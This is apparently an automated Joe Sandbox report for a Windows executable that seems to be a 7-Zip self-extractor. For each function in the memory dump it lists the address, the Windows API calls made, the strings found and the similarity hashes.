Instruction ID: f5503d52053c13d59ef663bb5271dc3ef65e74f3c8d6ef33482ecfccbeeb62e3
Opcode Fuzzy Hash: c44e62af5a1c4d63caea494e9f2a828a81f46f1dcdedab2345fdd327c4800f2a
Instruction Fuzzy Hash: F0E08C72A00108FBDB219F85DC01BEEBB38FB40354F00842FF51151110CB795A509A68

Function 00407568 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

_beginthreadex.MSVCRT ref: 0040757B

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: _beginthreadex
String ID:
API String ID: 3014514943-0
Opcode ID: 5cedbd00d0b58acbd8f2f67b12d806d60a324f9fe697fccd0a4b4518c7bb1b65
Instruction ID: 07ee00ee9fd24b5c7ccaf45b7f299fd8fb924091db141d3d19c4ab49eb9d3da1
Opcode Fuzzy Hash: 5cedbd00d0b58acbd8f2f67b12d806d60a324f9fe697fccd0a4b4518c7bb1b65
Instruction Fuzzy Hash: 69D017F6800208BFCB01DFA0CC05CEA3BADEB08248B008465BD05C2210E632DA108B61

Function 004123F1 Relevance: 1.5, APIs: 1, Instructions: 18fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,?,?,00000000,00000000), ref: 00412407

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 8938edae947a69c9db44886959f9dc69aa4ca479dc7ae96bb4d07ee1a96cf5e8
Instruction ID: 9ccc3df45c5337931c1f9920f453614b41e8bb9900b5d069a402b44b4c854426
Opcode Fuzzy Hash: 8938edae947a69c9db44886959f9dc69aa4ca479dc7ae96bb4d07ee1a96cf5e8
Instruction Fuzzy Hash: 99E0EC75201208FFDB01CF90CC01FDE7BBDFB49754F208058E90496160C7759A24EB55

Function 0041229A Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?,?,00412376,00000000,?,004123BE,?,80000000,?,?,?,004123E0,?,?,00000003,00000080), ref: 004122A5

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: bf632d426777a13286a7d214fabf0ee7930240e4f00ef32643c6c823c72a12ea
Instruction ID: 2edd4d7db1caf844859ff0a1764f07c4c63b16d89aef5b3dab10146b982c9a76
Opcode Fuzzy Hash: bf632d426777a13286a7d214fabf0ee7930240e4f00ef32643c6c823c72a12ea
Instruction Fuzzy Hash: 4DD01231604161468E745E3C7A445D637D85A06370321079BF4B5C32E1D3B58CD35A98

Function 00412260 Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT ref: 00412276

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: c430f725063ded926cf1adce3771649bab367042c849bbcb27380caf4cd98197
Instruction ID: a48faa5ad871c9538198cc58908edd1886e2b5d46e41b8f7632e96d43fd9665f
Opcode Fuzzy Hash: c430f725063ded926cf1adce3771649bab367042c849bbcb27380caf4cd98197
Instruction Fuzzy Hash: D7D02231104B22478160BB6AC8004CF73C69F113343008E1EF465836E0C638FDD182DE

Function 00401198 Relevance: 1.5, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 0040119C

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: 053bab089f67fb7da11783392dabcaa5bb2c6350295daccf07d3f923137bd5e8
Instruction ID: 80e429c9655060905b03d38468354203b5df30ae66867c399f2ea5f3bf3c7cce
Opcode Fuzzy Hash: 053bab089f67fb7da11783392dabcaa5bb2c6350295daccf07d3f923137bd5e8
Instruction Fuzzy Hash: 87C08C36190203CBC7004F30CC026457BE1BBA0714B6486A8A065C63B0DA3EC448CA01

Function 00401397 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT ref: 004013A4

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: 49818983c7c4313c622f2e86d7746392ff58400d4958ac86d60063aa5157a66c
Instruction ID: 2bfd4fe5492bcf1d3212a322bb009ce45eed1b46813e47afac693d05b876fedf
Opcode Fuzzy Hash: 49818983c7c4313c622f2e86d7746392ff58400d4958ac86d60063aa5157a66c
Instruction Fuzzy Hash: 0BC09B753181049BC718FF21C450817B365AB64714714C85FF84C55547CA3BDC82E618

Function 0041247F Relevance: 1.5, APIs: 1, Instructions: 9timeCOMMON

Download Yara Rule

APIs

SetFileTime.KERNELBASE(?,?,?,?,004124A9,00000000,00000000,?,004012DC,?), ref: 0041248D

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FileTime
String ID:
API String ID: 1425588814-0
Opcode ID: a76d94471d75101d3d19dad7ac3713a68ec5cb13f5505408d5a5f3094a28fb24
Instruction ID: f7402770b179a49de0ab9fe0b192ea54849ac29a58fff8f6d7b1295910a8291e
Opcode Fuzzy Hash: a76d94471d75101d3d19dad7ac3713a68ec5cb13f5505408d5a5f3094a28fb24
Instruction Fuzzy Hash: 31C04C36159105FF8F020F70CC04C1ABFA2AB99311F10CA18B155C4074C7328034EB12

Function 004015D8 Relevance: 1.4, APIs: 1, Instructions: 103COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT ref: 004015F7

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 3a0bd8ffb75a7d0c1b376548dc289f793da2ad7584b55b5230689940060f599c
Instruction ID: 576c3123db9d42ad6f26370305c4fe05627a80a4f610c37a806172f0a9a2cc4a
Opcode Fuzzy Hash: 3a0bd8ffb75a7d0c1b376548dc289f793da2ad7584b55b5230689940060f599c
Instruction Fuzzy Hash: C5318271910115ABDB10EFE5CC84CEFB7B8EF48344B15087BE441B72A1D7799E818B69

Function 004128AC Relevance: 1.3, APIs: 1, Instructions: 70COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT ref: 00412927

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 6debaf52b1a4c8e37dc45691c4e1b6b73fa31808f858abb765b60bcf64e2121f
Instruction ID: 8d352c1c46fd1df2ac59e7115e7018534418c9226e76046c12a2ea9475f01b4a
Opcode Fuzzy Hash: 6debaf52b1a4c8e37dc45691c4e1b6b73fa31808f858abb765b60bcf64e2121f
Instruction Fuzzy Hash: 3F21C3717142869BCF34FF658A904EB7395AF40314B14462FE482D3201C7B8ADE5CB5E

Function 004035CF Relevance: 1.3, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT ref: 004035D4

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: ac816b6ef2abf4182fe3fab88150d6e7fb7849f17cb6b15ec7980f19aa18face
Instruction ID: 1b5e1ee4d6878524e1e94f3eb7038bf21a854c21e9593a8af651c0b03c199f54
Opcode Fuzzy Hash: ac816b6ef2abf4182fe3fab88150d6e7fb7849f17cb6b15ec7980f19aa18face
Instruction Fuzzy Hash: FED0A9312082203AEA5862320C119AF08884F40329B008C3FB802E62D1DE3ECE81429E

Function 00402A2F Relevance: 1.3, APIs: 1, Instructions: 12memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004,004133A4,?,?,?,0040C03F,?), ref: 00402A4B

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: d52152f8240d310394afd4d808f8c2102ad5bdb202a27d84af0ad2d18dcc3f18
Instruction ID: 5872fe86412dcdd468f52b7ecb5979782df8fbe157f8593837c634c381a8cb4c
Opcode Fuzzy Hash: d52152f8240d310394afd4d808f8c2102ad5bdb202a27d84af0ad2d18dcc3f18
Instruction Fuzzy Hash: 5FC08C703483007AEE211B748F0BB4B3653AF84B16F90C029F348B40E0CBF58410AA0A

Function 00412240 Relevance: 1.3, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT ref: 00412245

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 60ec2abcf5a6396ef8d7bbb53f790590f8d628139c26fe78cb856bdba3517ae4
Instruction ID: 3495fa19a298e49cc2800c4131356790e1569378de7ddbf050defd7ea7821dd7
Opcode Fuzzy Hash: 60ec2abcf5a6396ef8d7bbb53f790590f8d628139c26fe78cb856bdba3517ae4
Instruction Fuzzy Hash: 40B012E474010671AE4420721F132EF20C007D1385F0408B7AA07E42C2FEDCCAE5912F

Function 00401FF0 Relevance: 1.3, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,00008000,00413333,00000000,?,0041339B,?,?,0040C03F,?), ref: 00402002

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: ef87b2e52dde92dd11102c14b5a17c3afe989afc729bbcebbe3bdea788540431
Instruction ID: 703a6ff84afb8074b9885b8fa9c0ccab1db7962bc4b9572073b4c9a6fb1bc3a6
Opcode Fuzzy Hash: ef87b2e52dde92dd11102c14b5a17c3afe989afc729bbcebbe3bdea788540431
Instruction Fuzzy Hash: 8DB09230285700BAEF224B00DE0DB4A76A0BB80B06F24C428B288240E087B86818DA0E

Non-executed Functions

Function 0040247D Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 150stringCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,?), ref: 004024CC
wsprintfW.USER32 ref: 004024DD
GetEnvironmentVariableW.KERNEL32(?,00000000,00000000), ref: 004024F2
GetLastError.KERNEL32 ref: 004024F7
??2@YAPAXI@Z.MSVCRT ref: 00402512
GetEnvironmentVariableW.KERNEL32(?,00000000,?), ref: 00402525
GetLastError.KERNEL32 ref: 0040252C
lstrcmpiW.KERNEL32(00939188,?), ref: 00402541
??3@YAXPAX@Z.MSVCRT ref: 00402551
??3@YAXPAX@Z.MSVCRT ref: 0040256F
SetLastError.KERNEL32(00000003), ref: 00402578
lstrlenA.KERNEL32(0041B328), ref: 004025AC
??2@YAPAXI@Z.MSVCRT ref: 004025C7
GetLocaleInfoW.KERNEL32(?,00001004,?,0000001F), ref: 004025F9
_wtol.MSVCRT(?), ref: 0040260A
MultiByteToWideChar.KERNEL32(00000000,0041B328,00000001,00939188,00000002), ref: 0040262A

Strings

7zSfxString%d, xrefs: 004024D7

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorLast$??2@??3@EnvironmentVariable$ByteCharInfoLocaleMultiWide_wtollstrcmpilstrlenwsprintf
String ID: 7zSfxString%d
API String ID: 2117570002-3906403175
Opcode ID: eba394e492bfb50e151d824ecc1c1c613fe538debf7ee36fbf13e84896701797
Instruction ID: 1954578a42ed511618fabe736ee1125ec7d3cad31fc3f85986fc13fa068848c6
Opcode Fuzzy Hash: eba394e492bfb50e151d824ecc1c1c613fe538debf7ee36fbf13e84896701797
Instruction Fuzzy Hash: 9951A379900214FFDB10DF75DD49ADABBA9FB08340F10443AE946E62D0E7B8A951CB1D

Function 004092C1 Relevance: 27.1, APIs: 18, Instructions: 144windowcomtimeCOMMON

Download Yara Rule

APIs

Part of subcall function 0040793D: GetDlgItem.USER32(?,?), ref: 0040794A
Part of subcall function 0040793D: ShowWindow.USER32(00000000,?), ref: 00407961

GetDlgItem.USER32(?,000004B8), ref: 004092EE
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 004092FD
GetDlgItem.USER32(?,000004B5), ref: 00409344
GetWindowLongW.USER32(00000000,000000F0), ref: 00409349
GetDlgItem.USER32(?,000004B5), ref: 00409359
SetWindowLongW.USER32(00000000), ref: 0040935C
GetSystemMenu.USER32(?,00000000,000004B4,00000000), ref: 00409382
EnableMenuItem.USER32(00000000,0000F060,00000001), ref: 00409394
GetDlgItem.USER32(?,000004B4), ref: 0040939E
SetFocus.USER32(00000000), ref: 004093A1
SetTimer.USER32(?,00000001,00000000,00000000), ref: 004093D0
CoCreateInstance.OLE32(0041C464,00000000,00000001,0041BD6C,?), ref: 004093F4
GetDlgItem.USER32(?,00000002), ref: 00409411
IsWindow.USER32(00000000), ref: 00409414
GetDlgItem.USER32(?,00000002), ref: 00409424
EnableWindow.USER32(00000000), ref: 00409427
GetDlgItem.USER32(?,000004B5), ref: 0040943B
ShowWindow.USER32(00000000), ref: 0040943E

Part of subcall function 0040819E: GetDlgItem.USER32(?,000004B6), ref: 004081AC

Part of subcall function 00408E76: GetModuleHandleW.KERNEL32(00000000,00000065,000004B7,?,?,?,?,?,00409240), ref: 00408E9F
Part of subcall function 00408E76: LoadIconW.USER32(00000000), ref: 00408EA2
Part of subcall function 00408E76: GetSystemMetrics.USER32(00000032), ref: 00408EB6
Part of subcall function 00408E76: GetSystemMetrics.USER32(00000031), ref: 00408EBB
Part of subcall function 00408E76: GetModuleHandleW.KERNEL32(00000000,00000065,00000001,00000000,?,?,?,?,?,00409240), ref: 00408EC4
Part of subcall function 00408E76: LoadImageW.USER32(00000000), ref: 00408EC7
Part of subcall function 00408E76: SendMessageW.USER32(?,00000080,00000001,?), ref: 00408EE7
Part of subcall function 00408E76: SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00408EF0
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B2), ref: 00408F0C
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B2), ref: 00408F16
Part of subcall function 00408E76: GetWindowLongW.USER32(?,000000F0), ref: 00408F22
Part of subcall function 00408E76: SetWindowLongW.USER32(?,000000F0,00000000), ref: 00408F31
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B5), ref: 00408F3F
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B5), ref: 00408F4D
Part of subcall function 00408E76: GetWindowLongW.USER32(?,000000F0), ref: 00408F59
Part of subcall function 00408E76: SetWindowLongW.USER32(?,000000F0,00000000), ref: 00408F68

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Item$Window$Long$MessageSendSystem$EnableHandleLoadMenuMetricsModuleShow$CreateFocusIconImageInstanceTimer
String ID:
API String ID: 1057135554-0
Opcode ID: ba3a8e7896f853d1d8996d9c4767784286a57f8b05f592c4c5be814e68872b41
Instruction ID: 5db8082ad3932120c1d3ad580c4d4a8d12b10d7a787853330903dc21ac74032f
Opcode Fuzzy Hash: ba3a8e7896f853d1d8996d9c4767784286a57f8b05f592c4c5be814e68872b41
Instruction Fuzzy Hash: E54184B0605708AFDA246F22DD49F6B7B9DFF44B04F00843EF955A62E1CB79A850CA1D

Function 004020BF Relevance: 26.3, APIs: 11, Strings: 4, Instructions: 85libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 004020CA
FindResourceExA.KERNEL32(00000000,?,?,00000000), ref: 004020E7
FindResourceExA.KERNEL32(00000000,?,?,00000409), ref: 004020FB
SizeofResource.KERNEL32(00000000,00000000), ref: 0040210C
LoadResource.KERNEL32(00000000,00000000), ref: 00402116
LockResource.KERNEL32(00000000), ref: 00402121
LoadLibraryA.KERNEL32(kernel32,SetProcessPreferredUILanguages), ref: 0040214D
GetProcAddress.KERNEL32(00000000), ref: 00402156
wsprintfW.USER32 ref: 00402175
LoadLibraryA.KERNEL32(kernel32,SetThreadPreferredUILanguages), ref: 0040218A
GetProcAddress.KERNEL32(00000000), ref: 0040218D

Strings

SetProcessPreferredUILanguages, xrefs: 00402138
%04X%c%04X%c, xrefs: 0040216F
SetThreadPreferredUILanguages, xrefs: 00402184
kernel32, xrefs: 0040213D, 00402142, 00402189

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Resource$Load$AddressFindLibraryProc$HandleLockModuleSizeofwsprintf
String ID: %04X%c%04X%c$SetProcessPreferredUILanguages$SetThreadPreferredUILanguages$kernel32
API String ID: 2639302590-365843014
Opcode ID: 4509f4e0e8980c838efd414ca7c3a82435c9d4736e02e482c88f6a1a6bb26b48
Instruction ID: 092f3855134823e072dda954e94301c8fdf66ebe7b0f0e4b82829ee13f00460f
Opcode Fuzzy Hash: 4509f4e0e8980c838efd414ca7c3a82435c9d4736e02e482c88f6a1a6bb26b48
Instruction Fuzzy Hash: 7C21B0B5941308BBDB119BA59C08F9B3ABCEB44711F108422FA04E72D0D6B8CD108BA9

Function 00409606 Relevance: 16.6, APIs: 11, Instructions: 96stringwindowCOMMON

Download Yara Rule

APIs

wvsprintfW.USER32(?,00000000,?), ref: 0040962A
GetLastError.KERNEL32 ref: 0040963B
FormatMessageW.KERNEL32(00001100,00000000,00000000,?,?,00000000,004072DC), ref: 00409663
FormatMessageW.KERNEL32(00001100,00000000,?,00000000,?,00000000,004072DC), ref: 00409678
lstrlenW.KERNEL32(?), ref: 0040968B
lstrlenW.KERNEL32(?), ref: 00409692
??2@YAPAXI@Z.MSVCRT ref: 004096A7
lstrcpyW.KERNEL32(00000000,?), ref: 004096BD
lstrcpyW.KERNEL32(-00000002,?), ref: 004096CE
??3@YAXPAX@Z.MSVCRT ref: 004096D7
LocalFree.KERNEL32(?), ref: 004096E1

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FormatMessagelstrcpylstrlen$??2@??3@ErrorFreeLastLocalwvsprintf
String ID:
API String ID: 829399097-0
Opcode ID: e19ea4daa404c5e85e295f528f45600472c05eaa69f6bcc88292a866bb27d639
Instruction ID: 0f5aa2174aa9d056a6dafd0f9c7aa592ac4ad2a583e4ab7749965f253d727b0f
Opcode Fuzzy Hash: e19ea4daa404c5e85e295f528f45600472c05eaa69f6bcc88292a866bb27d639
Instruction Fuzzy Hash: F0216176800108FFDB159FA1DC85DEB7BACEF08354B10847BF946A6191EA359E84CBA4

Function 004031DC Relevance: 16.6, APIs: 11, Instructions: 90filestringCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,0041A68C,?,?,?,00000000), ref: 0040320B
lstrcmpW.KERNEL32(?,0041A688,?,0000005C,?,?,?,00000000), ref: 0040325E
lstrcmpW.KERNEL32(?,0041A680,?,?,00000000), ref: 00403274
SetFileAttributesW.KERNEL32(?,00000000,?,0000005C,?,?,?,00000000), ref: 0040328A
DeleteFileW.KERNEL32(?,?,?,00000000), ref: 00403291
FindNextFileW.KERNEL32(00000000,00000010,?,?,00000000), ref: 004032A3
FindClose.KERNEL32(00000000,?,?,00000000), ref: 004032B2
SetFileAttributesW.KERNEL32(?,00000000,?,?,00000000), ref: 004032BD
RemoveDirectoryW.KERNEL32(?,?,?,00000000), ref: 004032C6
??3@YAXPAX@Z.MSVCRT ref: 004032D1
??3@YAXPAX@Z.MSVCRT ref: 004032DC

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: File$Find$??3@Attributeslstrcmp$CloseDeleteDirectoryFirstNextRemove
String ID:
API String ID: 1862581289-0
Opcode ID: d0a5d61d4e970fa2e12ee4e43d613ab26048e5a8235c629d0d05804913e14dc8
